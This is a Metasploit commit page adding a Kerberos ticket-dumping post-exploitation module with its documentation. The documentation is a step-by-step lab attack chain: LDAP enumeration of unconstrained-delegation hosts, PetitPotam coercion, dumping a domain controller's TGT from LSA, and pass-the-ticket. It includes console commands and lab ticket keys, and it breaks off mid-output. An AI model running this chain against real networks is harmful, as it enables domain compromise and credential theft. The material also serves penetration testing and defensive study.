Land #18488, add kerberos_tickets post module

Adds a module to manage kerberos tickets from a compromised
host. This PR also includes rail gun enhancements.
This commit is contained in:
Jack Heysel 2023-12-07 19:12:48 -05:00
commit 3bad98afc6
No known key found for this signature in database
GPG Key ID: D373F2C24A2A1E70
15 changed files with 1683 additions and 62 deletions

View File

@ -292,7 +292,7 @@ queries:
references: references:
- http://www.ldapexplorer.com/en/manual/109050000-famous-filters.htm - http://www.ldapexplorer.com/en/manual/109050000-famous-filters.htm
- action: ENUM_UNCONSTRAINED_DELEGATION - action: ENUM_UNCONSTRAINED_DELEGATION
description: 'Dump info about all known objects that allow uncontrained delegation.' description: 'Dump info about all known objects that allow unconstrained delegation.'
filter: '(userAccountControl:1.2.840.113556.1.4.803:=524288)' filter: '(userAccountControl:1.2.840.113556.1.4.803:=524288)'
attributes: attributes:
- cn - cn

View File

@ -0,0 +1,226 @@
# Unconstrained Delegation Exploitation
If a computer account is configured for unconstrained delegation, and an attacker has administrative access to it then
the attacker can leverage it to compromise the Active Directory domain.
## Lab setup
For this attack to work there must be a computer account (workstation or server) in the active directory domain that has
been configured for unconstrained delegation.
On the domain controller:
1. Open "Active Directory Users and Computers"
2. Navigate to the computer account, right click and select "Properties"
3. In the "Delegation" tab, select "Trust this computer for delegation to any service (Kerberos only)"
On the target computer:
1. Force an update of group policy by running `gpupdate /force`
2. Reboot the computer
## Attack Workflow
This attack assumes that the attacker has:
1. The IP address of the domain controller.
2. The active directory domain name.
3. A compromised domain account (no special privileges are necessary).
4. The ability to fully compromise a target system through some means.
5. (Optional but recommended) Metasploit running with an attached database so the Kerberos ticket cache can be used.
Verify this using the `db_status` command.
At a high-level the summary to leverage this attack chain is:
1. Identify a target computer account configured with unconstrained delegation.
2. Compromise that target computer account to open a Meterpreter session with administrative privileges (SYSTEM works).
3. Coerce authentication to the compromised target from a domain controller.
4. Dump the Kerberos tickets from the compromised targets to obtain a TGT from the domain controller's computer account.
5. Use the TGT to authenticate to the domain controller as itself (the computer account).
### Target Identification
The unconstrained delegation setting is stored as a bit flag in the `userAccountControl` LDAP attribute. A domain
account can be used with the `auxiliary/gather/ldap_query` module to identify computer accounts configured for
unconstrained delegation. Note that by default domain controllers themselves are configured for unconstrained delegation
and should be ignored as targets.
Use the `ENUM_UNCONSTRAINED_DELEGATION` action to enumerate targets:
```
msf6 > use auxiliary/gather/ldap_query
msf6 auxiliary(gather/ldap_query) > set RHOSTS 192.168.159.10
RHOSTS => 192.168.159.10
msf6 auxiliary(gather/ldap_query) > set DOMAIN msflab.local
DOMAIN => msflab.local
msf6 auxiliary(gather/ldap_query) > set USERNAME aliddle
USERNAME => aliddle
msf6 auxiliary(gather/ldap_query) > set PASSWORD Password1!
PASSWORD => Password1!
msf6 auxiliary(gather/ldap_query) > set ACTION ENUM_UNCONSTRAINED_DELEGATION
ACTION => ENUM_UNCONSTRAINED_DELEGATION
msf6 auxiliary(gather/ldap_query) > run
[*] Running module against 192.168.159.10
[*] Discovering base DN automatically
[+] 192.168.159.10:389 Discovered base DN: DC=msflab,DC=local
[+] 192.168.159.10:389 Discovered schema DN: DC=msflab,DC=local
CN=WS01 CN=Computers DC=msflab DC=local
=======================================
Name Attributes
---- ----------
cn WS01
objectcategory CN=Computer,CN=Schema,CN=Configuration,DC=msflab,DC=local
samaccountname WS01$
CN=DC OU=Domain Controllers DC=msflab DC=local
==============================================
Name Attributes
---- ----------
cn DC
memberof CN=Pre-Windows 2000 Compatible Access,CN=Builtin,DC=msflab,DC=local || CN=Cert Publishers,CN=Users,DC=msflab,DC=local
objectcategory CN=Computer,CN=Schema,CN=Configuration,DC=msflab,DC=local
samaccountname DC$
[*] Auxiliary module execution completed
msf6 auxiliary(gather/ldap_query) >
```
This results in two potential targets, WS01 and DC. Next, use the `ENUM_DOMAIN_CONTROLLERS` action to identify the
domain controllers to remove from the list of potential targets.
```
msf6 auxiliary(gather/ldap_query) > set ACTION ENUM_DOMAIN_CONTROLLERS
ACTION => ENUM_DOMAIN_CONTROLLERS
msf6 auxiliary(gather/ldap_query) > run
[*] Running module against 192.168.159.10
[*] Discovering base DN automatically
[+] 192.168.159.10:389 Discovered base DN: DC=msflab,DC=local
[+] 192.168.159.10:389 Discovered schema DN: DC=msflab,DC=local
CN=DC OU=Domain Controllers DC=msflab DC=local
==============================================
Name Attributes
---- ----------
distinguishedname CN=DC,OU=Domain Controllers,DC=msflab,DC=local
dnshostname DC.msflab.local
name DC
operatingsystem Windows Server 2019 Standard
operatingsystemversion 10.0 (17763)
[*] Auxiliary module execution completed
msf6 auxiliary(gather/ldap_query) >
```
This shows that DC is a domain controller and should be removed from the list, leaving WS01 as the only viable target.
### Exploitation
Now the WS01 system needs to be compromised through some means to obtain a Meterpreter session. Once a Meterpreter
session has been obtained, the Domain Controller needs to be coerced into authenticating to the target. The
`auxiliary/scanner/dcerpc/petitpotam` module can be used for this purpose. Use the module, and take care to set the
`LISTENER` option to **the hostname of the compromised host**. The hostname must be used and not an IP address. Set the
remaining options including `RHOSTS` to the domain controller, and `SMBUser` / `SMBPass` to the credentials of the
compromised domain account.
```
msf6 > use auxiliary/scanner/dcerpc/petitpotam
msf6 auxiliary(scanner/dcerpc/petitpotam) > set LISTENER ws01.msflab.local
LISTENER => ws01.msflab.local
msf6 auxiliary(scanner/dcerpc/petitpotam) > set SMBUser aliddle
SMBUser => aliddle
msf6 auxiliary(scanner/dcerpc/petitpotam) > set SMBPass Password1!
SMBPass => Password1!
msf6 auxiliary(scanner/dcerpc/petitpotam) > set RHOSTS 192.168.159.10
RHOSTS => 192.168.159.10
msf6 auxiliary(scanner/dcerpc/petitpotam) > run
[+] 192.168.159.10:445 - Server responded with ERROR_BAD_NETPATH which indicates that the attack was successful
[*] 192.168.159.10:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/dcerpc/petitpotam) >
```
If the module does not indicate that the attack was successful, another tool like
[`Coercer`](https://github.com/p0dalirius/Coercer) can be used to try additional methods.
Now that the domain controller has authenticated to the target it's necessary to dump the kerberos tickets from the
compromised target. Use the `post/windows/manage/kerberos_tickets` module and the `DUMP_TICKETS` action to dump the TGTs
from the compromised host. If the attack was successful there should be at least one TGT from the domain controller's
computer account.
```
msf6 > use post/windows/manage/kerberos_tickets
msf6 post(windows/manage/kerberos_tickets) > set SESSION -1
SESSION => -1
msf6 post(windows/manage/kerberos_tickets) > set SERVICE krbtgt/*
SERVICE => krbtgt/*
msf6 post(windows/manage/kerberos_tickets) > run
[*] LSA Handle: 0x000001efe1c415a0
[*] LogonSession LUID: 0x00004bc1d
[*] User: MSFLAB\DC$
[*] Session: 0
[*] AuthenticationPackage: Kerberos
[*] LogonType: Network (3)
[*] LogonTime: 2023-08-23 08:33:17 -0400
[*] Ticket[0]
[*] TGT MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20230823151727_default_192.168.159.10_mit.kerberos.cca_488233.bin
Primary Principal: DC$@MSFLAB.LOCAL
Ccache version: 4
Creds: 1
Credential[0]:
Server: krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL
Client: DC$@MSFLAB.LOCAL
Ticket etype: 18 (AES256)
Key: e515137250f072d44b7487c09b8033a34ff1c7e96ad20674007c255a0a8de2b0
Subkey: false
Ticket Length: 1006
Ticket Flags: 0x60a10000 (FORWARDABLE, FORWARDED, RENEWABLE, PRE_AUTHENT, CANONICALIZE)
Addresses: 0
Authdatas: 0
Times:
Auth time: 1969-12-31 19:00:00 -0500
Start time: 2023-08-23 08:33:17 -0400
End time: 2023-08-23 18:33:17 -0400
Renew Till: 2023-08-30 08:33:17 -0400
Ticket:
Ticket Version Number: 5
Realm: MSFLAB.LOCAL
Server Name: krbtgt/MSFLAB.LOCAL
Encrypted Ticket Part:
Ticket etype: 18 (AES256)
Key Version Number: 2
Cipher:
L/csyZle+LDn1i7Yqci0vbZCHrjO8CeQXBSix3d1lCR66sR0Zq/ogR/6g3X8yGn9acvGjAtt29ZErQe4FA3ttZ6MA2p8QldvbQCvELLpQkOHKrmzd2YhWy5YxfbwzFpZT0OtFEB0gYW3AQuOyRKk5vCuljZH6bPaz77g8KUejFx80tJbmz6n2GLOzG8rcMiy/i/zYreG6TLnjZJgw3UVABFSjUKs20eSK2Le5OxSKfcBQTwaRp+BPdXWGbMNYWwTUntAZGC5G6DE9xglY0+T2D/9HFSWVesrnduMmzHR9NojQYezHJorMKh7m5/KeNEzuJUDLCkgX/Uscq8dc6XMaFH7aIsg5+nlAZBPTrYtkayun6AaTLJpqLg90ab3iYCZpvdCBKBPapg3271YVHe8i7OaDDJWXMNooi+6Jg+B1cnBRH9qQ5T2k7RQLMNez9P8dvuMkDmFpRz5KOJk+w+Mz6XFeu9g1Z4zXQ6msI060PrwvAENevTN9DKUWtDGBCQMTjBDm75sMA7Aq8KgBqKYUhP+CV+HzgFou4P1/t3l+udRBIYfQw68EHW2dQE/ZZR+oLPPHbCsbnpkp/rSFjdsl0E9Zm4upPty3M+sKd2fdZSLXs5CLBs5WeZmPrXHrHnyC/AnoLNQVTVCtv5EpM50BWooXWKHljLctHxN/W6ZXgqwZ4R7KNYIrtaAsmLrkq2K/z+zsuAWRoDKFtLWZMD9eqfsGi2bRBqPf74+mi1bPXL/1eWlUwmrjr5Buj4kvC8XB+wTRoAkSrjoAx7IglfSIKdW/5N3CX6G+smJWZCsrGIvouTzIzcpHCXgoaHypnm2B9G7yIwkDgpCFd4MW3t8ZrZXOjuReQ6Aiy9mXHlbReX9G3Xl0fj7z4cIKSV4YiyEkjXJE+eAT7GdtJEPFXJJw6Fxhdam+FL+SKVvu4kw+uvqfz72GDG24/KqM3/0L58M96oEd1LHnVoHwuPtfDA7xhvHDu8iYZOkOjDc5cwMCU0MmW5A1cijTuNfSeRRHx6xXLPKkIJH/5XWeg7BAG3lnlOgS/HKj+Uhti7fabZHUvXyGAdA7CJzZ2OUlZY6Acm9JU2EuUfFvnpEjAtasckDA43pb/r4ZNIZPxcq6gpgcdFpZIb8H7bbWdIIinDJfFkEunJ7E1TG9wSbX6j6JfThG31L7EBW+UPHlDa4k1wPFMP3lNgleVUBi0n24T1RBTb6c5W0Cw==
[*] LogonSession LUID: 0x00001052b
[*] User: Window Manager\DWM-1
[*] Session: 1
[*] AuthenticationPackage: Negotiate
[*] LogonType: Interactive (2)
[*] LogonTime: 2023-08-23 08:32:38 -0400
... omitted for brevity ...
```
In this case, a TGT for the `MSFLAB\DC$` account was obtained through the logon session with LUID `0x00004bc1d`. The
ticket was stored to disk in a ccache file. The ticket can also be seen in the output of `klist`.
```
msf6 post(windows/manage/kerberos_tickets) > klist
Kerberos Cache
==============
id host principal sname issued status path
-- ---- --------- ----- ------ ------ ----
411 192.168.159.10 DC$@MSFLAB.LOCAL krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL 2023-08-23 09:32:46 -0400 active /home/smcintyre/.msf4/loot/20230823151744_default_192.168.159.10_mit.kerberos.cca_307418.bin
407 192.168.159.10 WS01$@MSFLAB.LOCAL krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL 2023-08-23 15:14:46 -0400 active /home/smcintyre/.msf4/loot/20230823151735_default_192.168.159.10_mit.kerberos.cca_760842.bin
msf6 post(windows/manage/kerberos_tickets) >
```
### Using The Ticket
Now that at TGT for the domain controller has been obtained, it can be used in a Pass-The-Ticket style attack whereby
the attacker uses it to authenticate to the target. The `auxiliary/gather/windows_secrets_dump` module is a good one to
use for this purpose as it will yield additional accounts while avoiding running any kind of payload on the domain
controller.

View File

@ -186,7 +186,11 @@ NAVIGATION_CONFIG = [
}, },
{ {
path: '../../documentation/modules/auxiliary/admin/ldap/rbcd.md', path: '../../documentation/modules/auxiliary/admin/ldap/rbcd.md',
title: 'RBCD - Resource-based constrained delegation' title: 'Resource-based constrained delegation (RBCD)'
},
{
path: 'kerberos/unconstrained_delegation.md',
title: 'Unconstrained delegation'
} }
] ]
}, },

View File

@ -0,0 +1,405 @@
Manage kerberos tickets on a compromised host. Different actions are available for different tasks. Kerberos tickets are
associated with logon sessions which can be enumerated with the `ENUM_LUIDS` action. s
## Options
### LUID
An optional logon session LUID to target in the DUMP_TICKETS and SHOW_LUID actions. The LUID is expressed in hex, e.g.
`0x11223344`.
### SERVICE
An optional service name wildcard to target in the DUMP_TICKETS action. This option accepts wild cards. For example, to
dump only TGTs use `krbtgt/*` and to only dump tickets for dc.msflab.local, use `*/dc.msflab.local`. Wildcards and
service names are case insensitive.
## Actions
### DUMP_TICKETS
This action allows dumping kerberos tickets from a compromised host. These tickets are loaded into Metasploit's
kerberos ticket cache when Metasploit is connected to a database. If the Meterpreter session is running with
administrative privileges, then the tickets from all logon sessions can be dumped. If the Meterpreter session is not
running with Administrative privileges then only the tickets from the current logon session / current user can be
dumped. If the `LUID` option is set then only the tickets from that logon session will be dumped. Targeting a specific
LUID with the `LUID` option requires administrative privileges.
### ENUM_LUIDS
This action will enumerate the LUIDs of all active logon sessions. Some basic information is printed for each LUID.
### SHOW_LUID
This action will show the LUID and some basic information about the current logon session unless the `LUID` option is
set in which case that logon session is shown.
## Scenarios
In this case the operator lists the currently cached Kerberos tickets in the Metasploit database. After that the
`DUMP_TICKETS` action is used with a service filter to dump the TGTs on the compromised host. Finally, the `klist`
command is used again to show the newly added TGTs.
```
msf6 post(windows/manage/kerberos_tickets) > klist
Kerberos Cache
==============
No tickets
msf6 post(windows/manage/kerberos_tickets) > run SESSION=-1 SERVICE=krbtgt/*
[*] LSA Handle: 0x000001efe1bf7270
[*] LogonSession LUID: 0x00004bc1d
[*] User: MSFLAB\DC$
[*] Session: 0
[*] AuthenticationPackage: Kerberos
[*] LogonType: Network (3)
[*] LogonTime: 2023-08-23 08:33:17 -0400
[*] Ticket[0]
[*] TGT MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20230823135453_default_192.168.159.10_mit.kerberos.cca_948767.bin
Primary Principal: DC$@MSFLAB.LOCAL
Ccache version: 4
Creds: 1
Credential[0]:
Server: krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL
Client: DC$@MSFLAB.LOCAL
Ticket etype: 18 (AES256)
Key: e515137250f072d44b7487c09b8033a34ff1c7e96ad20674007c255a0a8de2b0
Subkey: false
Ticket Length: 1006
Ticket Flags: 0x60a10000 (FORWARDABLE, FORWARDED, RENEWABLE, PRE_AUTHENT, CANONICALIZE)
Addresses: 0
Authdatas: 0
Times:
Auth time: 1969-12-31 19:00:00 -0500
Start time: 2023-08-23 08:33:17 -0400
End time: 2023-08-23 18:33:17 -0400
Renew Till: 2023-08-30 08:33:17 -0400
Ticket:
Ticket Version Number: 5
Realm: MSFLAB.LOCAL
Server Name: krbtgt/MSFLAB.LOCAL
Encrypted Ticket Part:
Ticket etype: 18 (AES256)
Key Version Number: 2
Cipher:
L/csyZle+LDn1i7Yqci0vbZCHrjO8CeQXBSix3d1lCR66sR0Zq/ogR/6g3X8yGn9acvGjAtt29ZErQe4FA3ttZ6MA2p8QldvbQCvELLpQkOHKrmzd2YhWy5YxfbwzFpZT0OtFEB0gYW3AQuOyRKk5vCuljZH6bPaz77g8KUejFx80tJbmz6n2GLOzG8rcMiy/i/zYreG6TLnjZJgw3UVABFSjUKs20eSK2Le5OxSKfcBQTwaRp+BPdXWGbMNYWwTUntAZGC5G6DE9xglY0+T2D/9HFSWVesrnduMmzHR9NojQYezHJorMKh7m5/KeNEzuJUDLCkgX/Uscq8dc6XMaFH7aIsg5+nlAZBPTrYtkayun6AaTLJpqLg90ab3iYCZpvdCBKBPapg3271YVHe8i7OaDDJWXMNooi+6Jg+B1cnBRH9qQ5T2k7RQLMNez9P8dvuMkDmFpRz5KOJk+w+Mz6XFeu9g1Z4zXQ6msI060PrwvAENevTN9DKUWtDGBCQMTjBDm75sMA7Aq8KgBqKYUhP+CV+HzgFou4P1/t3l+udRBIYfQw68EHW2dQE/ZZR+oLPPHbCsbnpkp/rSFjdsl0E9Zm4upPty3M+sKd2fdZSLXs5CLBs5WeZmPrXHrHnyC/AnoLNQVTVCtv5EpM50BWooXWKHljLctHxN/W6ZXgqwZ4R7KNYIrtaAsmLrkq2K/z+zsuAWRoDKFtLWZMD9eqfsGi2bRBqPf74+mi1bPXL/1eWlUwmrjr5Buj4kvC8XB+wTRoAkSrjoAx7IglfSIKdW/5N3CX6G+smJWZCsrGIvouTzIzcpHCXgoaHypnm2B9G7yIwkDgpCFd4MW3t8ZrZXOjuReQ6Aiy9mXHlbReX9G3Xl0fj7z4cIKSV4YiyEkjXJE+eAT7GdtJEPFXJJw6Fxhdam+FL+SKVvu4kw+uvqfz72GDG24/KqM3/0L58M96oEd1LHnVoHwuPtfDA7xhvHDu8iYZOkOjDc5cwMCU0MmW5A1cijTuNfSeRRHx6xXLPKkIJH/5XWeg7BAG3lnlOgS/HKj+Uhti7fabZHUvXyGAdA7CJzZ2OUlZY6Acm9JU2EuUfFvnpEjAtasckDA43pb/r4ZNIZPxcq6gpgcdFpZIb8H7bbWdIIinDJfFkEunJ7E1TG9wSbX6j6JfThG31L7EBW+UPHlDa4k1wPFMP3lNgleVUBi0n24T1RBTb6c5W0Cw==
[*] LogonSession LUID: 0x00001052b
[*] User: Window Manager\DWM-1
[*] Session: 1
[*] AuthenticationPackage: Negotiate
[*] LogonType: Interactive (2)
[*] LogonTime: 2023-08-23 08:32:38 -0400
[*] LogonSession LUID: 0x00000aa83
[*] User: \
[*] Session: 0
[*] AuthenticationPackage: NTLM
[*] LogonType: UndefinedLogonType (0)
[*] LogonTime: 2023-08-23 08:32:27 -0400
[-] Failed to call the authentication package. LsaCallAuthenticationPackage authentication package failed with: (0x00000520) ERROR_NO_SUCH_LOGON_SESSION: A specified logon session does not exist. It may already have been terminated.
[*] LogonSession LUID: 0x0000ae359
[*] User: MSFLAB\DC$
[*] Session: 0
[*] AuthenticationPackage: Kerberos
[*] LogonType: Network (3)
[*] LogonTime: 2023-08-23 08:38:08 -0400
[*] LogonSession LUID: 0x0000ae2d3
[*] User: MSFLAB\DC$
[*] Session: 0
[*] AuthenticationPackage: Kerberos
[*] LogonType: Network (3)
[*] LogonTime: 2023-08-23 08:38:08 -0400
[*] LogonSession LUID: 0x00004fff8
[*] User: MSFLAB\smcintyre
[*] Session: 1
[*] AuthenticationPackage: Negotiate
[*] LogonType: Interactive (2)
[*] LogonTime: 2023-08-23 08:33:18 -0400
[*] LogonSession LUID: 0x00004b823
[*] User: MSFLAB\DC$
[*] Session: 0
[*] AuthenticationPackage: Kerberos
[*] LogonType: Network (3)
[*] LogonTime: 2023-08-23 08:33:17 -0400
[*] LogonSession LUID: 0x00000b7c4
[*] User: Font Driver Host\UMFD-0
[*] Session: 0
[*] AuthenticationPackage: Negotiate
[*] LogonType: Interactive (2)
[*] LogonTime: 2023-08-23 08:32:37 -0400
[*] LogonSession LUID: 0x0001f3e4f
[*] User: MSFLAB\DC$
[*] Session: 0
[*] AuthenticationPackage: Kerberos
[*] LogonType: Network (3)
[*] LogonTime: 2023-08-23 09:42:34 -0400
[*] Ticket[0]
[*] TGT MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20230823135459_default_192.168.159.10_mit.kerberos.cca_126280.bin
Primary Principal: DC$@MSFLAB.LOCAL
Ccache version: 4
Creds: 1
Credential[0]:
Server: krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL
Client: DC$@MSFLAB.LOCAL
Ticket etype: 18 (AES256)
Key: e515137250f072d44b7487c09b8033a34ff1c7e96ad20674007c255a0a8de2b0
Subkey: false
Ticket Length: 1006
Ticket Flags: 0x60a10000 (FORWARDABLE, FORWARDED, RENEWABLE, PRE_AUTHENT, CANONICALIZE)
Addresses: 0
Authdatas: 0
Times:
Auth time: 1969-12-31 19:00:00 -0500
Start time: 2023-08-23 08:33:17 -0400
End time: 2023-08-23 18:33:17 -0400
Renew Till: 2023-08-30 08:33:17 -0400
Ticket:
Ticket Version Number: 5
Realm: MSFLAB.LOCAL
Server Name: krbtgt/MSFLAB.LOCAL
Encrypted Ticket Part:
Ticket etype: 18 (AES256)
Key Version Number: 2
Cipher:
L/csyZle+LDn1i7Yqci0vbZCHrjO8CeQXBSix3d1lCR66sR0Zq/ogR/6g3X8yGn9acvGjAtt29ZErQe4FA3ttZ6MA2p8QldvbQCvELLpQkOHKrmzd2YhWy5YxfbwzFpZT0OtFEB0gYW3AQuOyRKk5vCuljZH6bPaz77g8KUejFx80tJbmz6n2GLOzG8rcMiy/i/zYreG6TLnjZJgw3UVABFSjUKs20eSK2Le5OxSKfcBQTwaRp+BPdXWGbMNYWwTUntAZGC5G6DE9xglY0+T2D/9HFSWVesrnduMmzHR9NojQYezHJorMKh7m5/KeNEzuJUDLCkgX/Uscq8dc6XMaFH7aIsg5+nlAZBPTrYtkayun6AaTLJpqLg90ab3iYCZpvdCBKBPapg3271YVHe8i7OaDDJWXMNooi+6Jg+B1cnBRH9qQ5T2k7RQLMNez9P8dvuMkDmFpRz5KOJk+w+Mz6XFeu9g1Z4zXQ6msI060PrwvAENevTN9DKUWtDGBCQMTjBDm75sMA7Aq8KgBqKYUhP+CV+HzgFou4P1/t3l+udRBIYfQw68EHW2dQE/ZZR+oLPPHbCsbnpkp/rSFjdsl0E9Zm4upPty3M+sKd2fdZSLXs5CLBs5WeZmPrXHrHnyC/AnoLNQVTVCtv5EpM50BWooXWKHljLctHxN/W6ZXgqwZ4R7KNYIrtaAsmLrkq2K/z+zsuAWRoDKFtLWZMD9eqfsGi2bRBqPf74+mi1bPXL/1eWlUwmrjr5Buj4kvC8XB+wTRoAkSrjoAx7IglfSIKdW/5N3CX6G+smJWZCsrGIvouTzIzcpHCXgoaHypnm2B9G7yIwkDgpCFd4MW3t8ZrZXOjuReQ6Aiy9mXHlbReX9G3Xl0fj7z4cIKSV4YiyEkjXJE+eAT7GdtJEPFXJJw6Fxhdam+FL+SKVvu4kw+uvqfz72GDG24/KqM3/0L58M96oEd1LHnVoHwuPtfDA7xhvHDu8iYZOkOjDc5cwMCU0MmW5A1cijTuNfSeRRHx6xXLPKkIJH/5XWeg7BAG3lnlOgS/HKj+Uhti7fabZHUvXyGAdA7CJzZ2OUlZY6Acm9JU2EuUfFvnpEjAtasckDA43pb/r4ZNIZPxcq6gpgcdFpZIb8H7bbWdIIinDJfFkEunJ7E1TG9wSbX6j6JfThG31L7EBW+UPHlDa4k1wPFMP3lNgleVUBi0n24T1RBTb6c5W0Cw==
[*] LogonSession LUID: 0x0001243b3
[*] User: MSFLAB\DC$
[*] Session: 0
[*] AuthenticationPackage: Kerberos
[*] LogonType: Network (3)
[*] LogonTime: 2023-08-23 08:47:47 -0400
[*] LogonSession LUID: 0x0000003e5
[*] User: NT AUTHORITY\LOCAL SERVICE
[*] Session: 0
[*] AuthenticationPackage: Negotiate
[*] LogonType: Service (5)
[*] LogonTime: 2023-08-23 08:32:38 -0400
[*] LogonSession LUID: 0x0000ae390
[*] User: MSFLAB\DC$
[*] Session: 0
[*] AuthenticationPackage: Kerberos
[*] LogonType: Network (3)
[*] LogonTime: 2023-08-23 08:38:08 -0400
[*] LogonSession LUID: 0x0000ae320
[*] User: MSFLAB\DC$
[*] Session: 0
[*] AuthenticationPackage: Kerberos
[*] LogonType: Network (3)
[*] LogonTime: 2023-08-23 08:38:08 -0400
[*] LogonSession LUID: 0x00000b7be
[*] User: Font Driver Host\UMFD-1
[*] Session: 1
[*] AuthenticationPackage: Negotiate
[*] LogonType: Interactive (2)
[*] LogonTime: 2023-08-23 08:32:37 -0400
[*] LogonSession LUID: 0x00000b76e
[*] User: Font Driver Host\UMFD-0
[*] Session: 0
[*] AuthenticationPackage: Negotiate
[*] LogonType: Interactive (2)
[*] LogonTime: 2023-08-23 08:32:37 -0400
[*] LogonSession LUID: 0x0000104e9
[*] User: Window Manager\DWM-1
[*] Session: 1
[*] AuthenticationPackage: Negotiate
[*] LogonType: Interactive (2)
[*] LogonTime: 2023-08-23 08:32:38 -0400
[*] LogonSession LUID: 0x00000b77b
[*] User: Font Driver Host\UMFD-1
[*] Session: 1
[*] AuthenticationPackage: Negotiate
[*] LogonType: Interactive (2)
[*] LogonTime: 2023-08-23 08:32:37 -0400
[*] LogonSession LUID: 0x0000003e7
[*] User: MSFLAB\DC$
[*] Session: 0
[*] AuthenticationPackage: Negotiate
[*] LogonType: UndefinedLogonType (0)
[*] LogonTime: 2023-08-23 08:32:26 -0400
[*] Ticket[0]
[*] TGT MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20230823135505_default_192.168.159.10_mit.kerberos.cca_341258.bin
Primary Principal: DC$@MSFLAB.LOCAL
Ccache version: 4
Creds: 1
Credential[0]:
Server: krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL
Client: DC$@MSFLAB.LOCAL
Ticket etype: 18 (AES256)
Key: 810290bb8e930190000e05de7abee1f095bfe29527cca5ad9320cf3d86260f08
Subkey: false
Ticket Length: 1006
Ticket Flags: 0x40e10000 (FORWARDABLE, RENEWABLE, INITIAL, PRE_AUTHENT, CANONICALIZE)
Addresses: 0
Authdatas: 0
Times:
Auth time: 1969-12-31 19:00:00 -0500
Start time: 2023-08-23 08:33:17 -0400
End time: 2023-08-23 18:33:17 -0400
Renew Till: 2023-08-30 08:33:17 -0400
Ticket:
Ticket Version Number: 5
Realm: MSFLAB.LOCAL
Server Name: krbtgt/MSFLAB.LOCAL
Encrypted Ticket Part:
Ticket etype: 18 (AES256)
Key Version Number: 2
Cipher:
tLtOsjj8akj/iTEx/Kgidt9rW9sZ48SgEANNEpLhR1SmtI3/0e9Lq6oh35XWTKACrkFJGEOqSeBAaHwhArH2YyskGPadY2lL1qJI0zjhipeAZu4gWD4vpf2sKSL/ksOo9sthfxVMEVfq0QSxR37mPZwYI1LOyMcCOeckLGdHdlQCO7WwnbDpToyTq7TYzn13XmX0nyRFBIN436camSwYO/xRsWkhpVQKQIRgAjl7xCBMLT8/YGYangAASjBIxiXbXOtlj9zBwBjfA36cXz2yUp7MjC2kZLYI//xZZG1VVOa9nAG8vkkyi7GrXitG/m2X5s7YOG7XyvDOoC5yS7Yti+P2jGvPiWjAOSDmlwLolHSjeSIYCKwxK5Dm/LyMtUVtJRAb702FdI7lSH8oZCxQBQs92j3PKTBIMzz2+eY4r74Nemh+zIH86M4llhELhhyz86V9Utox9iURueY32LVieRIaTXmWXCGyopENrTt+LHPShBAk+Q8P3y+SGwVGxmm/CVKFN2R7IZNFiBxw627Vhw2pjFfVDjfsRV9mAvF6Axhks2aSO5rXZNZY1xW9iEbkRI3wnVYR9zgeSILxMNjyiVZvGFSllYnRWpDOqSe4n0/xw/ytD8gAHBYveBxzMPvTHN76Kcs1MGmhpsMdMBUo2UT4eeqBP//rXnuBtneb5maz0Ak+VwDZOf8Q76gcp66FIOGlRWPxpRgaCz2ISHeJ+istqRBm8gGbfqfHAbZM2PTzyyDHROuf3LgVyfhNUt8r7eYAgDCsfKBq6bq7O/KcQaBOfQN5yAgnt6CuAjyIqFaaXlsbQZ2D5s1p4WYUjrEpywWIoTQWLbCSYSAjOz+eYv50MQ3oE43hRQtg5eT0PCVmyG30VDfZDISq3Yj0hDMu20nuVuZ2cVvzccEBNgn9SRnQyYRRZQb6w9Zgs1/VYiY2SLZjmbYAo54TNDVJyseJ3Egl3Xp8BNccUkxZomgUOwP58q7XQk8lDzi4ApJMVJ0M8THDySVBJX2sB7oNn924fzghqW+wfzsXVnI2O9aLxzYnygHyp3h7ypt83sXyMTLD4tqEZ0DvcOvCoNnvis7VN8ZvvhLADoOxpJPALc8n+q70rfCdukZQpICUhLc16Z+JZJkGdAZtmi1Um+Cwy7lmBA+IvRp+abyklx19ulv55CbU7K8NAftJUOof/MgmAre+pOmwLofZgaSu7wVQ65fBeb8bjA==
[*] Ticket[1]
[*] TGT MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20230823135505_default_192.168.159.10_mit.kerberos.cca_389858.bin
Primary Principal: DC$@MSFLAB.LOCAL
Ccache version: 4
Creds: 1
Credential[0]:
Server: krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL
Client: DC$@MSFLAB.LOCAL
Ticket etype: 18 (AES256)
Key: 810290bb8e930190000e05de7abee1f095bfe29527cca5ad9320cf3d86260f08
Subkey: false
Ticket Length: 1006
Ticket Flags: 0x40e10000 (FORWARDABLE, RENEWABLE, INITIAL, PRE_AUTHENT, CANONICALIZE)
Addresses: 0
Authdatas: 0
Times:
Auth time: 1969-12-31 19:00:00 -0500
Start time: 2023-08-23 08:33:17 -0400
End time: 2023-08-23 18:33:17 -0400
Renew Till: 2023-08-30 08:33:17 -0400
Ticket:
Ticket Version Number: 5
Realm: MSFLAB.LOCAL
Server Name: krbtgt/MSFLAB.LOCAL
Encrypted Ticket Part:
Ticket etype: 18 (AES256)
Key Version Number: 2
Cipher:
